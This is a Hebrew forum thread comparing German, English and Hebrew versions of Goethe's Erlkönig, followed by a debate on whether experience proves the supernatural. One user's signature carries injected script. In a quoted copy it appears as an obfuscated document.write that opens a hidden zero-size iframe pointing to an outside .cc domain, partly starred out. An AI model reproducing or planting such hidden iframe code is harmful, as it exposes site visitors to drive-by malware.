בית פורומים עצור כאן חושבים

מלך ההר Erlkönig

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-30/3/2012 14:33 לינק ישיר 
מלך ההר Erlkönig

באשכול סמוך הביא נדב את המנון דת הערפל.

המקור היפהפה הוא של גתה.

הנה כמה נוסחאות.

Johann Wolfgang von Goethe 1749-1832

 Wer reitet so spät durch Nacht und Wind?
Es ist der Vater mit seinem Kind.
Er hat den Knaben wohl in dem Arm,
Er faßt ihn sicher, er hält ihn warm.

2. Mein Sohn, was birgst du so bang dein Gesicht?
Siehst Vater, du den Erlkönig nicht!
Den Erlenkönig mit Kron' und Schweif?
Mein Sohn, es ist ein Nebelstreif.

3. Du liebes Kind, komm geh' mit mir!
Gar schöne Spiele, spiel ich mit dir,
Manch bunte Blumen sind an dem Strand,
Meine Mutter hat manch gülden Gewand.

4. Mein Vater, mein Vater, und hörest du nicht,
Was Erlenkönig mir leise verspricht?
Sei ruhig, bleibe ruhig, mein Kind,
In dürren Blättern säuselt der Wind.

5. Willst feiner Knabe du mit mir geh'n?
Meine Töchter sollen dich warten schön,
Meine Töchter führen den nächtlichen Reihn
Und wiegen und tanzen und singen dich ein.

6. Mein Vater, mein Vater, und siehst du nicht dort
Erlkönigs Töchter am düsteren Ort?
Mein Sohn, mein Sohn, ich seh'es genau:
Es scheinen die alten Weiden so grau.

7. Ich lieb dich, mich reizt deine schöne Gestalt,
Und bist du nicht willig, so brauch ich Gewalt!
Mein Vater, mein Vater, jetzt faßt er mich an,
Erlkönig hat mir ein Leids getan.

8. Dem Vater grauset's, er reitet geschwind,
Er hält in den Armen das ächzende Kind,
Erreicht den Hof mit Mühe und Not,
In seinen Armen das Kind war tot.

Fairly literal tr. Frank
Who rides so late through the windy night?
The father holding his young son so tight.
The boy is cradled safe in his arm,
He holds him sure and he holds him warm.

2. Why is your face so frightened my son?
The King of elves, father, see him yon?
The Elfin King with his tail and crown?
It is the fog, my son, streaming down.

3. Yes, you my dear child, come go with me!
The games I play, you'll like them, come see.
The shore is coloured with flow'rs in bloom,
My mother's gold gowns, you will see soon.

4. Oh father, father, can you not hear
What the elfking promises? I fear!
Be calm, stay quiet my dearest son,
The wind blows the dry leaves of autumn.

5. My darling boy, won't you come with me?
I have daughters in whose care you'll be.
My daughters dance round the fairy ring.
Each night they'll cradle you, dance and sing.

6. Father, dear father, can you not see
The elf king's daughter staring at me?
My son, my son, I see it so well:
Gray meadows on which the moonlight fell.

7. I love you for your beauty of course,
If free you'll not come, I will use force.
Father, dear father, he's touching me.
Of elf king's hurt, father please, free me.

8. Dread grips the father, he spurs the roan,
In loving arms he feels the boy moan.
At last, the courtyard, with fear and dread,




דווח על תוכן פוגעני

מנותק
נשלח ב-30/3/2012 14:33 לינק ישיר 

tr. Sir Walter Scott
O who rides by night thro' the woodland so wild?
It is the fond father embracing his child;
And close the boy nestles within his loved arm,
To hold himself fast, and to keep himself warm.

"O father, see yonder! see yonder!" he says;
"My boy, upon what dost thou fearfully gaze?"
"O, 'tis the Erl-King with his crown and his shroud."
"No, my son, it is but a dark wreath of the cloud."

"O come and go with me, thou loveliest child;
By many a gay sport shall thy time be beguiled;
My mother keeps for theee many a fair toy,
And many a fine flower shall she pluck for my boy."

"O father, my father, and did you not hear
The Erl-King whisper so low in my ear?"
"Be still, my heart's darling--my child, be at ease;
It was but the wild blast as it sung thro' the trees."

"O wilt thou go with me, thou loveliest boy?
My daughter shall tend thee with care and with joy;
She shall bear three so lightlyt thro' wet and thro' wild,
And press thee, and kiss thee, and sing to my child."

"O father, my father, and saw you not plain
The Erl-King's pale daughter glide past thro' the rain?"
"Oh yes, my loved treasure, I knew it full soon;
It was the grey willow that danced to the moon."

"O come and go with me, no longer delay,
Or else, silly child, I will drag thee away."
"O father! O father! now, now, keep your hold,
The Erl-King has seized me--his grasp is so cold!"

Sore trembled the father; he spurr'd thro' the wild,
Clasping close to his bosom his shuddering child;
He reaches his dwelling in doubt and in dread,
But, clasp'd to his bosom, the infant was dead.



דדווח על תוכן פוגעני

מנותק
נשלח ב-30/3/2012 14:48 לינק ישיר 

בשעה מאוחרת בלילה סוער

על סוסו האביר למבצר הוא דוהר

זה האב שאת בנו הוא נושא בחיקו

לליבו הוא מצמיד את הבן בזרועו



בני את פניך מדוע תחביא

כי זה מלך ההר, ראה נא אבי

זה מלך ההר שעלי מתנפל

לא ולא בני - הרי זה רק ערפל

 

בוא נא איתי ילד מתוק

יחדו נשחק גם נרבה לצחוק

לי גן צבעוני עם פרחים נפלאים

מלבושי זהב תקבל מאימי

 

אבי אבי שמע והסכת

זה מלך ההר באזני מפטפט

הרגע הרגע בני, ילדי האהוב

זה רק הרוח, זה בכלל לא חשוב

 

נער חביב בוא נא איתי

מבנותי תקבל פינוק מלכותי

לבנותי עבורך חגיגה ערוכה

שם נרקוד ונשיר עד תמצא מנוחה

 

אבי אבי שור נא וראה

שם בנות מלך ההר בשיאו של הגא

לא ולא בני – אראה ברורות

שם ערבות עתיקות, ערבות אפורות

 

אותך אוהב מקסים ומרגש

גם אם לא תרצה אקחך באש

אבי אבי את זרועי הוא תופס

מלך ההר עשה לי כואב


 

האב הרועד למבצר הוא דוהר

מחבק את הילד שעכשו מפרפר

מאחור במהירות הדלת ננעלת

מאוחר - בזרועו נח לו מת הילד

(גרסה 3).



דדווח על תוכן פוגעני

מנותק
נשלח ב-30/3/2012 14:49 לינק ישיר 

בזכות צענע שציינה את השם המקורי בו תורגם השיר, מצאתי תירגום חדש יחסית

שַׂר הַיַּעַר

 

מגרמנית: אמיר אור, אריאל הירשפלד

 

מִי דּוֹהֵר מְאֻחָר דֶּרֶךְ לַיְלָה וָסַעַר?

זֶה הָאָב דּוֹהֵר וְעִמּוֹ הַנַּעַר.

יַלְדּוֹ מְצֻנָּף מִתַּחַת זְרוֹעוֹ,

הוּא אוֹחֵז בּוֹ לָבֶטַח, מֵחֵם אֶת בְּשָׂרוֹ.

 

מַה מַּחֲוִיר אֶת פָּנֶיךָ, בְּנִי שֶׁלִּי?

 הֲלֹא-תִּרְאֶה אֶת שַׂר הַיַּעַר, אָבִי?

שַׂר-הַיַּעַר, עִם כִּתְרוֹ וּזְנָבוֹ מִטַּלְטֵל?

– בְּנִי שֶׁלִּי, זֶהוּ פַּס עֲרָפֶל.

 

"יֶלֶד נֶחְמָד, בּוֹא-נָא אֶצְלִי,

מִשְׂחָקִים אֲשַׂחֵק אִתְּךָ לְהַפְלִיא,

שָׁם עַל גְּדַת הַנָּהָר יֵשׁ זֵרִים שֶׁל פְּרָחִים

וּלְאִמָּא שֶׁלִּי יֵשׁ פְּרָחִים זְהוּבִים."

 

אַבָּא, אַבָּא, הַאָמְנָם לֹא תִּשְׁמַע

מַה לּוֹחֵש שַׂר-הַיַּעַר אֵלַי בִּדְמָמָה?

 הֱיֵה שָקֵט, יַלְדִּי, וְנוּחַ;

בַּעֲלֵי הַשַּׁלֶּכֶת מְאַוֶּשֶת הָרוּחַ.

 

"יֶלֶד טוֹב, הֵן תָּבוֹא וְנֵלְכָה?

בְּנוֹתַי הַיָּפוֹת מְחַכּות רַק לְךָ,

אֶת מְחוֹל הַלַּיְלָה בְּנוֹתַי תְּחוֹלֵלְנָה

תָּשֵרְנָה, תִּרְקֹדְנָה, וְאוֹתְךָ תְּעַרְסֵלְנָה."

 

אַבָּא, אַבָּא, אֵינְךָ מִסְתַּכֵּל?

שָׁם בְּנוֹת שַׂר-הַיַּעַר בַּמָּקוֹם הָאָפֵל?

-  בְּנִי שֶׁלִּי, אֲנִי רוֹאֶה זֹאת בְּרוּרוֹת:

כָּךְ זוֹרְחוֹת הָעֲרָבוֹת הַזּקֵנוֹת, אֲפוֹרוֹת.

 

"אֲהַבְתִּיךָ, דְּמוּתְךָ לִי קוֹסֶמֶת כָּל כָּךְ,

אִם לָבוֹא לֹא תֵּיאוֹת, בְּכֹחַ  אֶקַּח!"

אַבָּא, אַבָּא, הוּא אוֹחֵז בִּי עַכְשָׁו!

שַׂר-הַיַּעַר נָגַע בִּי וְעָשָׂה שֶׁיִּכְאַב!

 

גָּנַח הָאָב, קַל כָּרוּחַ דָהַר,

כָּרַךְ בְּיָדָיו אֶת יַלְדּוֹ הַנִּכְמָר;

אֶל הֶחָצֵר הִגִּיעַ אָבֵל וְאוֹבֵד,

בִּזְרוֹעוֹתָיו הָיָה הַיֶּלֶד מֵת.



התירגום שזכור לי היה כמדומה עוד קודם.




דדווח על תוכן פוגעני

מנותק
נשלח ב-30/3/2012 14:57 לינק ישיר 

הרב מיימוני:

אני לא מצליח להבין את השיר, אולי תפרש לנו את השיר,
תודה מראש,



דדווח על תוכן פוגעני

מנותק
נשלח ב-30/3/2012 15:17 לינק ישיר 

שֵד הַיַּעַר 

מִי דּוֹהֵר מְאֻחָר דֶּרֶךְ לַיְלָה וָסַעַר? זֶה הָאָב דּוֹהֵר וְעִמּוֹ הַנַּעַר.

יַלְדּוֹ מְצֻנָּף מִתַּחַת זְרוֹעוֹ, הוּא אוֹחֵז בּוֹ לָבֶטַח, מֵחֵם אֶת בְּשָׂרוֹ.

מַה מַּחֲוִיר אֶת פָּנֶיךָ, בְּנִי שֶׁלִּי? – הֲלֹא-תִּרְאֶה אֶת שֵד הַיַּעַר, אָבִי?

שֵד
-הַיַּעַר, עִם כִּתְרוֹ וּזְנָבוֹ מִטַּלְטֵל? – בְּנִי שֶׁלִּי, זֶהוּ פַּס עֲרָפֶל.

"יֶלֶד נֶחְמָד, בּוֹא-נָא אֶצְלִי, מִשְׂחָקִים אֲשַׂחֵק אִתְּךָ לְהַפְלִיא,

שָׁם עַל גְּדַת הַנָּהָר יֵשׁ זֵרִים שֶׁל פְּרָחִים

וּלְאִמָּא שֶׁלִּי יֵשׁ פְּרָחִים זְהוּבִים."

אַבָּא, אַבָּא, הַאָמְנָם לֹא תִּשְׁמַע מַה לּוֹחֵש שֵד-הַיַּעַר אֵלַי בִּדְמָמָה?
 
– הֱיֵה שָקֵט, יַלְדִּי, וְנוּחַ; בַּעֲלֵי הַשַּׁלֶּכֶת מְאַוֶּשֶת הָרוּחַ.

"יֶלֶד טוֹב, הֵן תָּבוֹא וְנֵלְכָה? בְּנוֹתַי הַיָּפוֹת מְחַכּות רַק לְךָ,

אֶת מְחוֹל הַלַּיְלָה בְּנוֹתַי תְּחוֹלֵלְנָה תָּשֵרְנָה, תִּרְקֹדְנָה, וְאוֹתְךָ תְּעַרְסֵלְנָה."

אַבָּא, אַבָּא, אֵינְךָ מִסְתַּכֵּל? שָׁם בְּנוֹת שֵד-הַיַּעַר בַּמָּקוֹם הָאָפֵל? -

בְּנִי שֶׁלִּי, אֲנִי רוֹאֶה זֹאת בְּרוּרוֹת: כָּךְ זוֹרְחוֹת הָעֲרָבוֹת הַזּקֵנוֹת, אֲפוֹרוֹת.

"אֲהַבְתִּיךָ, דְּמוּתְךָ לִי קוֹסֶמֶת כָּל כָּךְ, אִם לָבוֹא לֹא תֵּיאוֹת, בְּכֹחַ אֶקַּח!"

אַבָּא, אַבָּא, הוּא אוֹחֵז בִּי עַכְשָׁו! שֵד-הַיַּעַר נָגַע בִּי וְעָשָׂה שֶׁיִּכְאַב!

גָּנַח הָאָב, קַל כָּרוּחַ דָהַר, כָּרַךְ בְּיָדָיו אֶת יַלְדּוֹ הַנִּכְמָר;

אֶל הֶחָצֵר הִגִּיעַ אָבֵל וְאוֹבֵד, בִּזְרוֹעוֹתָיו הָיָה הַיֶּלֶד מֵת.

ׁ

מוקדש לחובבי מחול השדים ולכל אלה שסבורים שחוויה משמעה הוכחה.



דדווח על תוכן פוגעני

מחובר
נשלח ב-30/3/2012 15:40 לינק ישיר 

מקסמן

איקון ירוק מאד.

לא הביישן למד. ונתת דוגמא איך צריך לשאול.

הלוואי על כולנו.

אבאר לקמן.



דדווח על תוכן פוגעני

מנותק
נשלח ב-30/3/2012 15:41 לינק ישיר 

תירגום נוסף:

מלך היער - גיתה (תרגום עדה ברודסקי)

 

המספר:

ברוח וליל מי כאן ירכב?

זה אב, ובנו בזרועותיו.

יאחז הנער באון ורוך,

ביד בוטחת עליו יסוך.

האב:

"בני, מדוע חרד כה תיבהה?

את מלך היער אינך רואה?

המלך בכתר ובשרביט?

אותך פס ערפל הבעית.

מלך היער:

לכה עימי, ילדי נעים,

יחדיו נרבה שעשועים.

פרחים אגיש לך לזר,

אלביש אותך ביגדי פאר!"

הנער:

"אבי, הו אבי, וכי לא תשמע,

אשר לי המלך לואט בדממה?"

האב:

"רגע, ילדי, היה-נא שלו,

בעלים שיבשו הרוח דובב."

מלך היער:

"ילד נחמד, העימי תלכה,

בנותי אומנות יהיו לך,

בנותי לעת לילה רוקדות שם בניר,

אל שנת יערסלוך בזמר ושיר."

הנער:

"אבי, הו אבי, לא תראה במחשך

בנות מלך היער הולכות שם בסך?"

האב:

"בני, הו בני, עיני לא בוגדות:

ערבות הן אשר באפור שם יוקדות".

מלך היער:

"נעמת לי, חן דמותך את יצרי מגרה,

ואם לא תאות, לי בכוח תהיה"

הנער:

"אבי, הו אבי, ידו בי נגעה,

מלך היער פגע בי לרע"

המספר:

נחרד האב, קדימה נחפז,

את בנו הגונח בזרוע יאחז.

את נחלתו ישיג ברטט;

בזרועותיו הילד מת.


(פלאי גוגל, פלאי האינטרנט, פלאי המחשב. ממש).

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-30/3/2012 15:42 לינק ישיר 

ויקי

(קטע)

שר היער (גרמנית: Der Erlkönig), בלדה מאת יוהאן וולפגנג פון גתה שנכתבה בשנת 1782.

הבלדה מבוססת על אגדה דנית בשם Ellerkonge (בעברית "מלך האלפים"), שתורגמה לגרמנית על ידי יוהאן גוטפריד הרדר. המלה "אלף" (elfen) תורגמה בטעות למלה הגרמנית "Erle" (עץ האלמון), בתוספת עם המלה הגרמנית "König" (מלך).

הבלדה התפרסמה מאוד במרוצת הזמן, והולחנה על ידי מלחינים רבים, פעמים אחדות כליד. הגרסאות המולחנות המוכרות ביותר שלה הן של קארל לווה, אך בעיקר זו של פרנץ שוברט, אשר מזוהה לעתים קרובות עם הבלדה עצמה. בטהובן עשה נסיון להלחין את הבלדה אך חזר בו ולא פרסם את עבודתו.

הבלדה מספרת על רכיבה לילית של אב עם בנו. הילד רואה את דמותו של שר היער, שמפניה הוא מרגיש מאויים. על-פי האגדה, שר היער היה יצור שרודף יערות, שואב נשמות של ילדים והורג אותם. האב מנסה להרגיע את בנו מהחזיונות, להם הוא נותן הסבר טבעי כגון ערפל או רשרוש הרוח בעלים, וככל שהבלדה מתקדמת האב מגביר את מהירות רכיבתם. אך הילד לא נרגע; שר היער מנסה לפתות את הילד לבוא איתו, ומפחיד אותו יותר ויותר ככל שמתקדמת הבלדה. התיאורים של שר היער מוצגים מנקודת מבטו של הילד ונראים אמיתיים ביותר. כשהבן לבסוף מותקף פיזית על ידי שר היער, האב מגביר עוד יותר את קצב רכיבתם על-מנת להגיע ליעדם לפני שיהיה מאוחר מדי. כשהם לבסוף מגיעים האב מגלה שהילד כבר מת.

פרשנות נפוצה של השיר היא לראות את שר היער כמטפורה למחלה קטלנית הגורמת לו להזיות. מתוך סבלו הוא הוזה את שר היער המאיים עליו ומפתה אותו בו זמנית, אשר מדמה את המוות המצפה לו.

http://he.wikipedia.org/wiki/%D7%A9%D7%A8_%D7%94%D7%99%D7%A2%D7%A8

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-30/3/2012 15:45 לינק ישיר 

השיר באמת מרשים מאד לדעתי. וכמובן אין כמו המקור... סמיילי.

הקיצור שבשיר משאיר הרבה מקום לפרשנות.

ודאי שבתקופה בה נכתב השיר האמינו בקיומם של שדים, רוחות, מזיקים. אכן רכיבה לילית יכלה להוביל למותו של הרוכב או להיזק אחר.

דוגמאות לאמונות פולקלוריסטיות כאלו נמצא בשפע בספר חסידים. ויש לטרכטנברג שני מחקרים על אמונות כאלו גם בין יהודים בימי הבינים.

השיר עצמו משאיר את השאלה פתוחה:

האם הילד באמת שומע את שר היער מדבר, או שזה הדמיון שלו?
מדוע האבא לא שמע מאומה? או שהאבא שומע היטב אבל מתכחש?
מדוע מת הילד? האם היה חולה מקודם (ולכן האב מיהר וגם עטף אותו נגד הקרה בלילה) או שחלה מהפחד? גם דמיונות יכולים להרוג.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-30/3/2012 15:47 לינק ישיר 

צענע

אני חוזר על העיקרון:

יש בעולמנו דברים רבים שלגביהם אין לנו ודאות. אבל אנו פוחדים מהם, מקוים להם, סומכים עליהם. יש להם ערך פרגמטי. אבל האם הם אמיתיים? איך ניתן לבדוק זאת?

נסי להרגיע ילד פוחד ולספר לו שאין שום מפלצת מתחת למיטה.

אני מפנה לאשכול ישן מאד שלי על פי ספר של אורי אורלב, "חית החושך" על אילוף הדמיון.

בסך הכל הצבעת על שתי שאלות המפתח: איזו הוכחה היא זו (היא לא) ואיך מבדילים בין חויות חיוביות (התגלות) לבין חויות שליליות (שר היער, הקריאה לג'יהאד).

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-30/3/2012 16:04 לינק ישיר 

קשה להתחרות עם המקצוענים.

אריה סתיו.

הקדמה

אני חווה לאחרונה את התחושה המענגת ביותר לכל אדם בר דעת: רעב. שאלו כל אדם סקרן באמת, כל מי שמתעמק בספרים עתיקים ובאירועים נושנים, מה מניע אותו, הוא ישיב: רעב. זו מין תחושת חלל, חוסר שאתה רוצה למלא בשלל יקרות של היסטוריה, מדע ואומנות.

וכחלק מן המילוי החלטתי, כאתגר בשבילי ולשם הנאתם של הקוראים, לפרסם כל שישי שיר. "שר היער" יהיה ראשון ברשימה ואחריו יעלו עוד רבים וטובים. כולי תקווה שתמצאו את הדברים מושכים.

שר היער




דדווח על תוכן פוגעני

מנותק
נשלח ב-30/3/2012 16:28 לינק ישיר 

מיימוני כתב:
צענע

אני חוזר על העיקרון:

יש בעולמנו דברים רבים שלגביהם אין לנו ודאות. אבל אנו פוחדים מהם, מקוים להם, סומכים עליהם. יש להם ערך פרגמטי. אבל האם הם אמיתיים? איך ניתן לבדוק זאת?

נסי להרגיע ילד פוחד ולספר לו שאין שום מפלצת מתחת למיטה.

אני מפנה לאשכול ישן מאד שלי על פי ספר של אורי אורלב, "חית החושך" על אילוף הדמיון.

בסך הכל הצבעת על שתי שאלות המפתח: איזו הוכחה היא זו (היא לא) ואיך מבדילים בין חויות חיוביות (התגלות) לבין חויות שליליות (שר היער, הקריאה לג'יהאד).

_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");


שכחת את שאלת המפתח הגדולה. האם יש בכלל משהו מעבר למציאות?

ככל שאתה רוצה לבדוק משמעותן של חוויות, קבשאלה הראשונה אם הין בכלל קיימות. קיימות מעבר לרגש המיידי או למה שעלול לנבוע מאין סוף סיבות פסיכולוגיות / הורמונליות וכו'.



דדווח על תוכן פוגעני

מחובר
נשלח ב-30/3/2012 16:37 לינק ישיר 

"צענע אני חוזר על העיקרון: י
ש בעולמנו דברים רבים שלגביהם אין לנו ודאות. אבל אנו פוחדים מהם, מקוים להם, סומכים עליהם. יש להם ערך פרגמטי. אבל האם הם אמיתיים? איך ניתן לבדוק זאת?

נסי להרגיע ילד פוחד ולספר לו שאין שום מפלצת מתחת למיטה. אני מפנה לאשכול ישן מאד שלי על פי ספר של אורי אורלב, "חית החושך" על אילוף הדמיון.

האם אנחנו ילדים?אני תמהה על ההשוואה.

בסך הכל הצבעת על שתי שאלות המפתח: איזו הוכחה היא זו (היא לא) ואיך מבדילים בין חויות חיוביות (התגלות) לבין חויות שליליות (שר היער, הקריאה לג'יהאד)"

לא קלעת למהות.
שר היער אינו חוויה שלילית אלא אמונה תפלה.
הקריאה לג'יהאד איננה חוויה כלל  אלא אמונה (שבמושגים שלנו איננה מוסרית ובכך אינה שונה ממצוות מחיית עמלק)


תוקן על ידי צענערענע ב- 30/03/2012 16:42:26




דדווח על תוכן פוגעני

מחובר
נשלח ב-30/3/2012 16:50 לינק ישיר 

אלי

שאלת

האם יש בכלל משהו מעבר למציאות?

אני שואל:

מה כוללת המציאות?

אנו מפרקים: חויה (שהיא עצמה הרגשה מומשגת. כלומר, גם כאשר יש לי כאב שינים אני ממשיג זאת ואומר: יש לי כאב שינים).

משמעותה.

המסר שלה.

זיהוי הדובר.

הפן הפנומנולוגי עומד כפי שהוא. אנו מנסים להעלות השערות ממה זה בא. פסיכולוגיה? מבנה המוח? התגלות? של מי? לאן זה שולח אותי?

אני בסך הכל בשלב זה מנסה להבהיר את שלבי הניתוח.

האם זה מוביל בהכרח, על פי הוכחה, לעבר מסקנה כלשהי?

אולי. לא במובן של תקפות לוגית. במובן של "מאי לאו, הכי והכי". מה אתה אומר, האם לא כך וכך? האם זה לא מסתבר? האם זה לא מתקבל על דעתך?

אם לא אז לא.

(לוגיקה מחייבת אותנו אבל אינה יכולה לשמש כראיה אלא כבדיקה בלבד כאמור באשכול על דת הערפל).

***
צענע

שר היער מוכר לילד בחויה שהביאה למותו.

האם יש גם ישות כזו או שזו אמונה תפלה שהרגתהו? המשורר משאיר את השאלה פתוחה. אני, בהסתמך על ידע (או אמונות) מוקדמות סבור כמוך שזו אמונה תפלה.

מעבר לפן הפנומנולוגי של מפגש עם אלוקים, האם יש גם ישות כזו? על סמך הידע המוקדם שלי אני עונה בחיוב.

האם אני יכול להוכיח זאת? על פי האופנים שבהם אנו דנים בהוכחה במתמטיקה ובפיזיקה ודאי שלא. אם כי הודאות עשויה להיות גדולה יותר. ולא אמחזר מה שכבר כתבתי לעייפה.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-30/3/2012 16:57 לינק ישיר 

לא הבנתי.
ישנה המציאות עליה שנינו מסכימים. לשם הויכוח, כלל לא מעניין מניין אותן הנחות יסוד עליהן אנו מסכימים.

ככל שמאן דהוא טוען כי יש משהו מעבר לאותן הנחות יסוד, עליו להוכיח זאת, או להראות לוגית על בסיס אלו טענות או הנחות המקובלות גם על הצד השני הוא הגיע להסיק זה בדבר קיומה של מציאות נוספת.



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > מלך ההר Erlkönig
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 3 לדף הבא סך הכל 3 דפים.

bholext